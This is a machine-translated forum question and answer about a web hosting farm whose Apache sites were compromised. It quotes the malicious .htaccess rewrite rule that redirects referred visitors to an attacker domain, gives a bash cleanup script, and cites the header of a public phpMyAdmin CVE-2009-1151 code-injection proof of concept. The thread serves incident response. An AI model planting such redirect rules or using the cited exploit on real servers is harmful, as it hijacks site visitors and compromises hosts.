Apache-2.2
查找網路伺服器漏洞
我們經營著一個託管大約 300 個網站的網路伺服器場。
昨天早上,一個腳本將 www-data(apache 使用者)擁有的 .htaccess 文件放置在大多數(但不是全部)站點的 document_root 下的每個目錄中。
.htaccess 文件的內容是這樣的:
RewriteEngine On RewriteCond %{HTTP_REFERER} ^http:// RewriteCond %{HTTP_REFERER} !%{HTTP_HOST} RewriteRule . http://84f6a4eef61784b33e4acbd32c8fdd72.com/%{REMOTE_ADDR}
Google搜尋那個 url(這是“防病毒”的 md5 雜湊)我發現同樣的事情發生在整個網際網路上,並且正在尋找已經處理過這個問題的人,並確定漏洞在哪裡。
我已經搜尋了我們的大部分日誌,但還沒有找到任何結論性的東西。有沒有其他經歷過同樣事情的人比我在確定洞口方面做得更遠?
到目前為止,我們已經確定:
- 更改是作為 www-data 進行的,因此 apache 或其外掛可能是罪魁禍首
- 所有的更改都是在 15 分鐘內完成的,所以它可能是自動化的
- 由於我們的網站擁有廣泛不同的域名,我認為一個網站上的單個漏洞是負責任的(而不是每個網站上的共同漏洞)
- 如果 .htaccess 文件已經存在並且可以被 www-data 寫入,那麼腳本很友好,只需將上述行附加到文件末尾(使其易於反轉)
任何更多的提示將不勝感激。
==編輯==
對於那些需要它的人,這是我用來清理 .htaccess 文件的腳本:
#!/bin/bash PATT=84f6a4eef61784b33e4acbd32c8fdd72.com DIR=/mnt TMP=/tmp/`mktemp "XXXXXX"` find $DIR -name .htaccess|while read FILE; do if ( grep $PATT "$FILE" > /dev/null); then if [ `cat "$FILE"|wc -l` -eq 4 ]; then rm "$FILE" else if ( tail -n1 "$FILE"|grep $PATT > /dev/null ); then rm $TMP cp "$FILE" $TMP LINES=`cat $TMP|wc -l` GOODLINES=$(($LINES-4)) head -n $GOODLINES $TMP > "$FILE" else echo $FILE requires manual intervention fi fi fi done
有一個phpMyAdmin的漏洞利用
#!/bin/bash
CVE-2009-1151: phpMyAdmin ‘/scripts/setup.php’ PHP Code Injection RCE PoC v0.11
by pagvac (gnucitizen.org),2009 年 6 月 4 日。
特別感謝 Greg Ose (labs.neohapsis.com)為了發現這麼酷的漏洞,
並到 str0ke (milw0rm.com) 測試這個 PoC 腳本並提供回饋!
PoC 腳本在以下目標上成功測試:
phpMyAdmin 2.11.4、2.11.9.3、2.11.9.4、3.0.0 和 3.0.1.1
Linux 2.6.24-24-generic i686 GNU/Linux (Ubuntu 8.04.2)
攻擊要求:
#1) 易受攻擊的版本(顯然!):2.11.9.5 之前的 2.11.x
和 3.1.3.1 之前的 3.x,根據 PMASA-2009-3
#2)看來這個漏洞只能針對環境利用
管理員選擇按照
嚮導方法安裝 phpMyAdmin ,而不是手動方法:http
://snipurl.com/jhjxx3) 管理員必須沒有刪除
‘/phpMyAdmin 中的 ‘/config/’ 目錄/’ 目錄。這是因為這個目錄是
‘/scripts/setup.php’ 嘗試創建 ‘config.inc.php’ 的地方
我們邪惡的 PHP 程式碼被注入的地方 8)
更多資訊:
http://www.phpmyadmin.net/home_page/security/PMASA-2009-3.php
http://labs.neohapsis.com/2009/04/06/about-cve-2009- 1151/